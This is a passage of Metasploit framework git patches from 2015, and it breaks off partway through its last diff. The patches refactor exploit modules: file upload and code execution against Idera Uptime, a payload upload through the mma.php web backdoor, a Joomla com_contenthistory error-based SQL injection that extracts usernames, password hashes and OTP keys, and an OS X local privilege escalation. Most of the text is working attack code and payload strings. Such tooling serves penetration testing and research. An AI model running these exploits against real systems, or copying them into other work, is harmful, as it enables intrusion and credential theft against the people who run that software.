=> '-1', - 'id_[187]' => 'value_critical_output', - 'name_[output]' => '187', - 'units_[187]' => '', - 'guiBasic_[187]' => '1', - 'inputType_[187]' => 'GUIString', - 'screenOrder_[187]' => '4', - 'parmType_[187]' => '2', - 'label_[189]' => 'Response time', - 'can_retain_[189]' => 'false', - 'comparisonWarn_[189]' => '-1', - 'comparison_[189]' => '-1', - 'id_[189]' => 'value_critical_timer', - 'name_[timer]' => '189', - 'units_[189]' => 'ms', - 'guiBasic_[189]' => '0', - 'inputType_[189]' => 'GUIInteger', - 'screenOrder_[189]' => '6', - 'parmType_[189]' => '2', - 'timing_[erdc_instance_monitored]' => '1', - 'timing_[timeout]' => '60', - 'timing_[check_interval]' => '10', - 'timing_[recheck_interval]' => '1', - 'timing_[max_rechecks]' => '3', - 'alerting_[notification]' => '1', - 'alerting_[alert_interval]' => '120', - 'alerting_[alert_on_critical]' => '1', - 'alerting_[alert_on_warning]' => '1', - 'alerting_[alert_on_recovery]' => '1', - 'alerting_[alert_on_unknown]' => '1', - 'time_period_id' => '1', - 'pageFinish' => 'Finish', - 'pageContinue' => 'Continue...', - 'isWizard' => '1', - 'wizardPage' => '2', - 'wizardNumPages' => '2', - 'wizardTask' => 'pageFinish', - 'visitedPage[1]' => '1', - 'visitedPage[2]' => '1' - }) - end - # CREATING Linux EXEC Service if res_auth && res_auth.headers['Server'] =~ /Unix/ vprint_status('Creating Linux Monitor Code exec...') From 3c961f61a7447038077d0670b56be4280fa5ffab Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 23 Oct 2015 14:29:16 -0500 Subject: [PATCH 0968/2172] Modify check to use Nokogiri --- .../exploits/multi/http/uptime_code_exec.rb | 22 ++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index b3ac14f82b..68c1cea751 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -4,7 +4,10 @@ ## require 'msf/core' +require 'nokogiri' + class Metasploit4 < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE @@ -50,17 +53,30 @@ class Metasploit4 < Msf::Exploit::Remote OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample']) ], self.class) end + # Application Check def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) - vprint_status("#{peer} - Checking version...") - if res && res.code == 200 && (res.body.include?('up.time 7.5.0') || res.body.include?('up.time 7.4.0')) - return Exploit::CheckCode::Appears + unless res + vprint_error("Connection timed out.") + return Exploit::CheckCode::Unknown end + + n = Nokogiri::HTML(res.body) + uptime_text = n.at('//ul[@id="uptimeInfo"]//li[contains(text(), "up.time")]') + + if uptime_text + version = uptime_text.text.scan(/up\.time ([\d\.]+)/i).flatten.first + vprint_status("Found version: #{version}") + if version >= '7.4.0' && version <= '7.5.0' + return Exploit::CheckCode::Appears + end + end + Exploit::CheckCode::Safe end From 01c2641c6b5f419b8e467aad17d78acc4ffa239e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 23 Oct 2015 16:27:52 -0500 Subject: [PATCH 0969/2172] Change print_* --- .../exploits/multi/http/uptime_code_exec.rb | 24 +++++++++++++------ 1 file changed, 17 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index 68c1cea751..e707d884de 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -54,6 +54,18 @@ class Metasploit4 < Msf::Exploit::Remote ], self.class) end + def print_status(msg='') + super("#{rhost}:#{rport} - #{msg}") + end + + def print_error(msg='') + super("#{rhost}:#{rport} - #{msg}") + end + + def print_good(msg='') + super("#{rhost}:#{rport} - #{msg}") + end + # Application Check def check res = send_request_cgi( @@ -170,7 +182,7 @@ class Metasploit4 < Msf::Exploit::Remote def exploit vprint_status('Trying to login...') - # #Application Login + # Application Login res_auth = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), @@ -179,13 +191,13 @@ class Metasploit4 < Msf::Exploit::Remote 'password' => datastore['PASSWORD'] }) - # #Check OS # + # Check OS phpfile_name = rand_text_alpha(10) if res_auth && res_auth.headers['Server'] =~ /Unix/ vprint_status('Found Linux installation - Setting appropriated PATH') phppath = '/usr/local/uptime/apache/bin/php' uploadpath = '/usr/local/uptime/GUI/wizards' -## cmdargs = uploadpath + '/' + phpfile_name + '.txt' + cmdargs = "#{uploadpath}#{phpfile_name}.txt" cmd = phppath else @@ -193,7 +205,6 @@ class Metasploit4 < Msf::Exploit::Remote phppath = 'C:\\Program Files\\uptime software\\uptime\\apache\\php\\php.exe' uploadpath = 'C:\\Program Files\\uptime software\\uptime\\GUI\\wizards\\' cmd = 'c:\\windows\\system32\\cmd.exe' -## cmdargs = '/K "' + '"' + phppath + '" ' + '"' + uploadpath + '\\' + phpfile_name + '.txt' + '"' + '"' cmdargs = "/K \"\"#{phppath}\" \"#{uploadpath}#{phpfile_name}.txt\"\"" end @@ -294,7 +305,6 @@ class Metasploit4 < Msf::Exploit::Remote 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wizards', 'post2file.php'), 'vars_post' => { -## 'file_name' => phpfile_name + '.txt', 'file_name' => "#{phpfile_name}.txt", 'script' => payload.encoded } @@ -312,7 +322,7 @@ class Metasploit4 < Msf::Exploit::Remote print_error('File not found') end - # #Get Monitor ID + # Get Monitor ID vprint_status('Fetching Monitor ID...') res_mon_id = send_request_cgi( @@ -343,7 +353,7 @@ class Metasploit4 < Msf::Exploit::Remote } ) else - print_error("#{peer} - Cookie not found") + print_error('Cookie not found') end end end From 181e7c4c75008a63e51f51dfab71b3be2a43023e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 23 Oct 2015 17:22:31 -0500 Subject: [PATCH 0970/2172] Update metadata --- .../exploits/multi/http/uptime_code_exec.rb | 36 +++++++++---------- 1 file changed, 16 insertions(+), 20 deletions(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index e707d884de..fad9213d23 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -13,38 +13,34 @@ class Metasploit4 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Uptime Version 7.4.0 / 7.5.0 Upload and Exec file', - 'Description' => %q{ + 'Name' => 'Idera Uptime 7 post2file.php Arbitrary File Upload', + 'Description' => %q{ This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0 By supplying a specially crafted request is possible to upload file and execute arbitrary commands through privilege escalation. }, - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ + 'Denis Andzakovic', # Found file upload bug in post2file.php in 2013 'Ewerson Guimaraes(Crash) ', 'Gjoko Krstic(LiquidWorm) ' ], - 'References' => + 'References' => [ - ['EDB', '37888'] + ['EDB', '37888'], + ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5254.php'] ], - 'Payload' => - { - 'Space' => 100_000, - 'DisableNops' => true - }, - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, - 'Targets' => [['Automatic', {}]], - 'DefaultOptions' => - { - 'SSL' => false - }, - 'Privileged' => 'True', + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['Automatic', {}]], + 'Privileged' => 'true', 'DefaultTarget' => 0, - 'DisclosureDate' => 'Aug 6 2015')) + # The post2file.php vuln was reported in 2013 by Denis Andzakovic. And then on Aug 2015, + # it was discovered again by Ewerson 'Crash' Guimaraes. + 'DisclosureDate' => 'Nov 18 2013' + )) register_options( [ From 065fe57ad73ffdba1c7c5dc8aee8c3e4b4f7936c Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 23 Oct 2015 15:30:04 -0700 Subject: [PATCH 0971/2172] bundler 1.10 :( --- Gemfile.lock | 3 --- 1 file changed, 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index d6c2239f0b..0444e469b0 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -251,6 +251,3 @@ DEPENDENCIES simplecov timecop yard - -BUNDLED WITH - 1.10.6 From f6b9f38326322d3999c0f927db67e182a45625f5 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 23 Oct 2015 19:38:17 -0500 Subject: [PATCH 0972/2172] This method is not needed because Nokogiri does that already --- lib/rex/proto/http/response.rb | 10 ---------- spec/lib/rex/proto/http/response_spec.rb | 14 +------------- 2 files changed, 1 insertion(+), 23 deletions(-) diff --git a/lib/rex/proto/http/response.rb b/lib/rex/proto/http/response.rb index 70395a36a3..e88331b7a8 100644 --- a/lib/rex/proto/http/response.rb +++ b/lib/rex/proto/http/response.rb @@ -119,16 +119,6 @@ class Response < Packet json end - # Returns the title from the HTML document. - # You will probably want to use this if you want to grab the web app's banner in the title. - # - # @return [String] - def get_html_title - n = get_html_document - title = n.at_xpath('//title') - title ? title.text : '' - end - # Returns meta tags. # You will probably want to use this the web app's version info (or other stuff) can be found # in the metadata. diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index 0039276445..0b9ec02a58 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -133,10 +133,6 @@ describe Rex::Proto::Http::Response do HEREDOC end - let (:html_title) do - 'TEST' - end - let (:meta_name) do 'META_NAME' end @@ -149,7 +145,7 @@ describe Rex::Proto::Http::Response do %Q| - #{html_title} + TEST @@ -267,14 +263,6 @@ describe Rex::Proto::Http::Response do end end - describe '#get_html_title' do - context "when the title in the HTML is 'TEST'" do - it "returns 'TEST'" do - expect(subject.get_html_title).to eq(html_title) - end - end - end - describe '#get_html_meta_elements' do let(:meta_elements) do subject.get_html_meta_elements From f461c4682bb31bacadb9e2e45cd1e9cfe13f0afc Mon Sep 17 00:00:00 2001 From: JT Date: Sat, 24 Oct 2015 11:15:26 +0800 Subject: [PATCH 0973/2172] Update mma_backdoor_upload.rb --- modules/exploits/multi/http/mma_backdoor_upload.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/mma_backdoor_upload.rb b/modules/exploits/multi/http/mma_backdoor_upload.rb index c679d2ea14..abb888614e 100644 --- a/modules/exploits/multi/http/mma_backdoor_upload.rb +++ b/modules/exploits/multi/http/mma_backdoor_upload.rb @@ -64,14 +64,14 @@ class Metasploit3 < Msf::Exploit::Remote def exploit uri = normalize_uri(target_uri.path) - @payload_name = "#{rand_text_alpha(5)}.php" + payload_name = "#{rand_text_alpha(5)}.php" - print_status("#{peer} - Trying to upload #{@payload_name} to mma.php Backdoor") + print_status("#{peer} - Trying to upload #{payload_name} to mma.php Backdoor") data = Rex::MIME::Message.new data.add_part('Upload', nil, nil, 'form-data; name="_upl"') - data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@payload_name}\"") + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"") post_data = data.to_s res = send_request_cgi({ @@ -83,8 +83,8 @@ class Metasploit3 < Msf::Exploit::Remote if res if res.body =~ /uplod d0n3 in SAME file/ - print_good("#{peer} - Our payload #{@payload_name} has been uploaded. Calling payload...") - register_files_for_cleanup(@payload_name) + print_good("#{peer} - Our payload #{payload_name} has been uploaded. Calling payload...") + register_files_for_cleanup(payload_name) else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end @@ -92,8 +92,8 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, 'ERROR') end - res = send_request_cgi({ - 'uri' => normalize_uri(@payload_name), + send_request_cgi({ + 'uri' => normalize_uri(payload_name), 'method' => 'GET' }) end From ad80f00159e0c3f8ecc69e655da2d74a75616f5a Mon Sep 17 00:00:00 2001 From: JT Date: Sat, 24 Oct 2015 11:16:49 +0800 Subject: [PATCH 0974/2172] Update mma_backdoor_upload.rb --- modules/exploits/multi/http/mma_backdoor_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/mma_backdoor_upload.rb b/modules/exploits/multi/http/mma_backdoor_upload.rb index abb888614e..881ff3428d 100644 --- a/modules/exploits/multi/http/mma_backdoor_upload.rb +++ b/modules/exploits/multi/http/mma_backdoor_upload.rb @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else - fail_with(Failure::Unknown, 'ERROR') + fail_with(Failure::Unknown, 'Connection Timed Out') end send_request_cgi({ From 71b8c97f0e3f5261ffc4996f3fb009b8aef41b28 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 25 Sep 2013 10:11:16 -0500 Subject: [PATCH 0975/2172] Always print PAYLOAD and LPORT in 'jobs' --- lib/msf/base/serializer/readable_text.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index c62db55496..724d8258e4 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -638,13 +638,10 @@ class ReadableText # @param col [Integer] the column wrap width. # @return [String] the formatted list of running jobs. def self.dump_jobs(framework, verbose = false, indent = DefaultIndent, col = DefaultColumnWrap) - columns = [ 'Id', 'Name' ] + columns = [ 'Id', 'Name', "Payload", "LPORT" ] if (verbose) - columns << "Payload" - columns << "LPORT" - columns << "URIPATH" - columns << "Start Time" + columns += [ "URIPATH", "Start Time" ] end tbl = Rex::Ui::Text::Table.new( @@ -653,16 +650,19 @@ class ReadableText 'Columns' => columns ) - # jobs are stored as a hash with the keys being a numeric job_id. framework.jobs.keys.sort{|a,b| a.to_i <=> b.to_i }.each { |k| + # Job context is stored as an Array with the 0th element being + # the running module. If that module is an exploit, ctx will also + # contain its payload. + ctx = framework.jobs[k].ctx row = [ k, framework.jobs[k].name ] + row << (ctx[1].nil? ? (ctx[0].datastore['PAYLOAD'] || "") : ctx[1].refname) + row << (ctx[0].datastore['LPORT'] || "") + if (verbose) - ctx = framework.jobs[k].ctx uripath = ctx[0].get_resource if ctx[0].respond_to?(:get_resource) uripath = ctx[0].datastore['URIPATH'] if uripath.nil? - row << (ctx[1].nil? ? (ctx[0].datastore['PAYLOAD'] || "") : ctx[1].refname) - row << (ctx[0].datastore['LPORT'] || "") row << (uripath || "") row << (framework.jobs[k].start_time || "") end From a6628110f6a703d9754eb0429a03abb9f7f82787 Mon Sep 17 00:00:00 2001 From: nixawk Date: Sun, 25 Oct 2015 03:56:36 +0000 Subject: [PATCH 0976/2172] rebuild joomla_contenthistory_sqli (cve-2015-7297) --- .../gather/joomla_contenthistory_sqli.rb | 213 ++++++++++++------ 1 file changed, 144 insertions(+), 69 deletions(-) diff --git a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb index 1bc329a40f..f256ac287c 100644 --- a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb +++ b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb @@ -14,8 +14,9 @@ class Metasploit4 < Msf::Auxiliary super(update_info(info, 'Name' => 'Joomla com_contenthistory Error-Based SQL Injection', 'Description' => %q{ - This module exploits a SQL injection vulnerability in Joomla versions 3.2 through 3.4.4 - in order to either enumerate usernames and password hashes or session IDs. + This module exploits a SQL injection vulnerability in Joomla versions 3.2 + through 3.4.4 in order to either enumerate usernames and password hashes + or session IDs. }, 'References' => [ @@ -24,101 +25,175 @@ class Metasploit4 < Msf::Auxiliary ], 'Author' => [ - 'Asaf Orpani', #discovery - 'bperry' #metasploit module + 'Asaf Orpani', # discovery + 'bperry', # metasploit module + 'Nixawk' # module review ], 'License' => MSF_LICENSE, - 'DisclosureDate' => "Oct 22 2015" + 'DisclosureDate' => 'Oct 22 2015' )) register_options( [ - OptString.new("TARGETURI", [true, 'The relative URI of the Joomla instance', '/']) + OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']) ], self.class) end def check flag = Rex::Text.rand_text_alpha(8) - left_marker = Rex::Text.rand_text_alpha(5) - right_marker = Rex::Text.rand_text_alpha(5) + lmark = Rex::Text.rand_text_alpha(5) + rmark = Rex::Text.rand_text_alpha(5) - payload = "AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT 0x#{flag.unpack("H*")[0]}),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + payload = 'AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT(' + payload << "0x#{lmark.unpack('H*')[0]}," + payload << "(SELECT 0x#{flag.unpack('H*')[0]})," + payload << "0x#{rmark.unpack('H*')[0]}," + payload << 'FLOOR(RAND(0)*2)' + payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)' res = sqli(payload) - if res and res.body =~ /#{left_marker}#{flag}#{right_marker}/ - return Msf::Exploit::CheckCode::Vulnerable + if res && res.code == 500 && res.body =~ /#{lmark}#{flag}#{rmark}/ + Msf::Exploit::CheckCode::Vulnerable end - return Msf::Exploit::CheckCode::Safe + Msf::Exploit::CheckCode::Safe + end + + def request(query) + query = "#{$payload}" % query + res = sqli(query) + + # Error based SQL Injection + if res && res.code == 500 && res.body =~ /#{$lmark}(.*)#{$rmark}/ + $1 + end + end + + def query_databases + dbs = [] + + query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) ' + query << 'FROM INFORMATION_SCHEMA.SCHEMATA)' + + dbc = request(query) + + query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) ' + query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)' + + 0.upto(dbc.to_i - 1) do |i| + dbname = request(query_fmt % i) + dbs << dbname + print_good(dbname) + end + + %w(performance_schema information_schema mysql).each do |dbname| + dbs.delete(dbname) if dbs.include?(dbname) + end + dbs + end + + def query_tables(database) + tbs = [] + + query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) ' + query << 'FROM INFORMATION_SCHEMA.TABLES ' + query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))" + + tbc = request(query) + + query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) ' + query_fmt << 'FROM INFORMATION_SCHEMA.TABLES ' + query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) " + query_fmt << 'LIMIT %d,1)' + + print_status('tables in database: %s' % database) + 0.upto(tbc.to_i - 1) do |i| + tbname = request(query_fmt % i) + print_good(tbname) + tbs << tbname if tbname =~ /_users$/ + end + tbs + end + + def query_columns(database, table) + cols = [] + query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})" + + colc = request(query) + print_status(colc) + + valid_cols = [ # joomla_users + 'activation', + 'block', + 'email', + 'id', + 'lastResetTime', + 'lastvisitDate', + 'name', + 'otep', + 'otpKey', + 'params', + 'password', + 'registerDate', + 'requireReset', + 'resetCount', + 'sendEmail', + 'username' + ] + + query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) ' + query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)" + + 0.upto(colc.to_i - 1) do |i| + record = {} + valid_cols.each do |col| + l = 1 + record[col] = '' + loop do + value = request(query_fmt % [col, l, i]) + break if value.blank? + record[col] << value + l += 54 + end + end + cols << record + print_status(record.to_s) + end + cols end def run - left_marker = Rex::Text.rand_text_alpha(5) - right_marker = Rex::Text.rand_text_alpha(5) + $lmark = Rex::Text.rand_text_alpha(5) + $rmark = Rex::Text.rand_text_alpha(5) - db_count = "AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" - res = sqli(db_count) - db_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ + $payload = '' + $payload << 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT(' + $payload << "0x#{$lmark.unpack('H*')[0]}," + $payload << '%s,' + $payload << "0x#{$rmark.unpack('H*')[0]}," + $payload << 'FLOOR(RAND(0)*2)' + $payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)' - dbs = [] - 0.upto(db_count-1) do |i| - db = "AND (SELECT 2255 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" - res = sqli(db) - dbs << $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ - end - - dbs.delete('performance_schema') - dbs.delete('information_schema') - dbs.delete('mysql') - - users = [] + dbs = query_databases # query databases dbs.each do |db| - vprint_status("Found database: " + db) - tables = [] - table_count = "AND (SELECT 8640 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]})),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" - res = sqli(table_count) - table_count = $1.to_i || 0 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ - - 0.upto(table_count-1) do |i| - table = "AND (SELECT 2474 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x#{db.unpack("H*")[0]}) LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" - res = sqli(table) - table = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ - tables << table if table =~ /_users$/ - end - + tables = query_tables(db) # query tables tables.each do |table| - vprint_status("Found table: " + table) - user_count = "AND (SELECT 3737 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{db}.#{table}),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" - res = sqli(user_count) - user_count = $1.to_i if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ - cols = ["activation","block","email","id","lastResetTime","lastvisitDate","name","otep","otpKey","params","password","registerDate","requireReset","resetCount","sendEmail","username"] - - 0.upto(user_count-1) do |i| - user = {} - cols.each do |col| - k = 1 - val = nil - user[col] = '' - while val != '' - get_col = "AND (SELECT 7072 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},(SELECT MID((IFNULL(CAST(#{col} AS CHAR),0x20)),#{k},54) FROM #{db}.#{table} ORDER BY id LIMIT #{i},1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" - res = sqli(get_col) - val = $1 if res and res.body =~ /#{left_marker}(.*)#{right_marker}/ - user[col] << val - k = k + 54 - end - end - users << user - end + cols = query_columns(db, table) # query cokumns + next if cols.blank? + path = store_loot( + 'joomla.users', + 'text/plain', + datastore['RHOST'], + cols.to_json, + 'joomla.users') + print_good('Saved file to: ' + path) end end - - path = store_loot('joomla.file', 'text/plain', datastore['RHOST'], users.to_json, 'joomla.users') - print_good("Users saved to file: " + path) end def sqli(payload) - return send_request_cgi({ + send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'option' => 'com_contenthistory', @@ -126,7 +201,7 @@ class Metasploit4 < Msf::Auxiliary 'list[ordering]' => '', 'item_id' => 1, 'type_id' => 1, - 'list[select]' => "1 " + payload + 'list[select]' => '1 ' + payload } }) end From f738dd2acb3a9e4ae5250f10696af31dc8068df0 Mon Sep 17 00:00:00 2001 From: nixawk Date: Sun, 25 Oct 2015 06:57:56 +0000 Subject: [PATCH 0977/2172] replace print_* with vprint_* / fix check method --- .../gather/joomla_contenthistory_sqli.rb | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb index f256ac287c..5913e0f861 100644 --- a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb +++ b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb @@ -55,9 +55,10 @@ class Metasploit4 < Msf::Auxiliary if res && res.code == 500 && res.body =~ /#{lmark}#{flag}#{rmark}/ Msf::Exploit::CheckCode::Vulnerable + else + Msf::Exploit::CheckCode::Safe end - Msf::Exploit::CheckCode::Safe end def request(query) @@ -84,7 +85,7 @@ class Metasploit4 < Msf::Auxiliary 0.upto(dbc.to_i - 1) do |i| dbname = request(query_fmt % i) dbs << dbname - print_good(dbname) + vprint_good(dbname) end %w(performance_schema information_schema mysql).each do |dbname| @@ -107,10 +108,10 @@ class Metasploit4 < Msf::Auxiliary query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) " query_fmt << 'LIMIT %d,1)' - print_status('tables in database: %s' % database) + vprint_status('tables in database: %s' % database) 0.upto(tbc.to_i - 1) do |i| tbname = request(query_fmt % i) - print_good(tbname) + vprint_good(tbname) tbs << tbname if tbname =~ /_users$/ end tbs @@ -121,7 +122,7 @@ class Metasploit4 < Msf::Auxiliary query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})" colc = request(query) - print_status(colc) + vprint_status(colc) valid_cols = [ # joomla_users 'activation', @@ -158,7 +159,7 @@ class Metasploit4 < Msf::Auxiliary end end cols << record - print_status(record.to_s) + vprint_status(record.to_s) end cols end @@ -167,19 +168,18 @@ class Metasploit4 < Msf::Auxiliary $lmark = Rex::Text.rand_text_alpha(5) $rmark = Rex::Text.rand_text_alpha(5) - $payload = '' - $payload << 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT(' + $payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT(' $payload << "0x#{$lmark.unpack('H*')[0]}," $payload << '%s,' $payload << "0x#{$rmark.unpack('H*')[0]}," $payload << 'FLOOR(RAND(0)*2)' $payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)' - dbs = query_databases # query databases + dbs = query_databases dbs.each do |db| - tables = query_tables(db) # query tables + tables = query_tables(db) tables.each do |table| - cols = query_columns(db, table) # query cokumns + cols = query_columns(db, table) next if cols.blank? path = store_loot( 'joomla.users', From 8b4f2290edf660ada999ad0ec3fa76bf4256ac98 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Sun, 25 Oct 2015 11:01:17 -0500 Subject: [PATCH 0978/2172] no more session ids in desc --- modules/auxiliary/gather/joomla_contenthistory_sqli.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb index 5913e0f861..e3b8445f68 100644 --- a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb +++ b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb @@ -15,8 +15,7 @@ class Metasploit4 < Msf::Auxiliary 'Name' => 'Joomla com_contenthistory Error-Based SQL Injection', 'Description' => %q{ This module exploits a SQL injection vulnerability in Joomla versions 3.2 - through 3.4.4 in order to either enumerate usernames and password hashes - or session IDs. + through 3.4.4 in order to either enumerate usernames and password hashes. }, 'References' => [ From 5fcc70bea4a333e15e9455352c7efdae9d37a624 Mon Sep 17 00:00:00 2001 From: Sam H Date: Sun, 25 Oct 2015 23:38:48 -0700 Subject: [PATCH 0979/2172] Fixed issue w/ msf payloads + added timeout rescue Apparently when OS X payload shells get a sudo command, it requires a full path (even though it clearly has $PATH defined in its env...) to that file. The updates here take that into account. Also, the script more directly catches a timeout error when the maximum time for sudoers file to change has passed. --- modules/exploits/osx/local/rsh_libmalloc.rb | 60 ++++++++++++--------- 1 file changed, 36 insertions(+), 24 deletions(-) diff --git a/modules/exploits/osx/local/rsh_libmalloc.rb b/modules/exploits/osx/local/rsh_libmalloc.rb index 335762286f..97f9ae28dc 100644 --- a/modules/exploits/osx/local/rsh_libmalloc.rb +++ b/modules/exploits/osx/local/rsh_libmalloc.rb @@ -69,6 +69,7 @@ class Metasploit4 < Msf::Exploit::Local vprint_status("Writing payload to #{payload_file}.") write_file(payload_file, payload_source) vprint_status("Finished writing payload file.") + 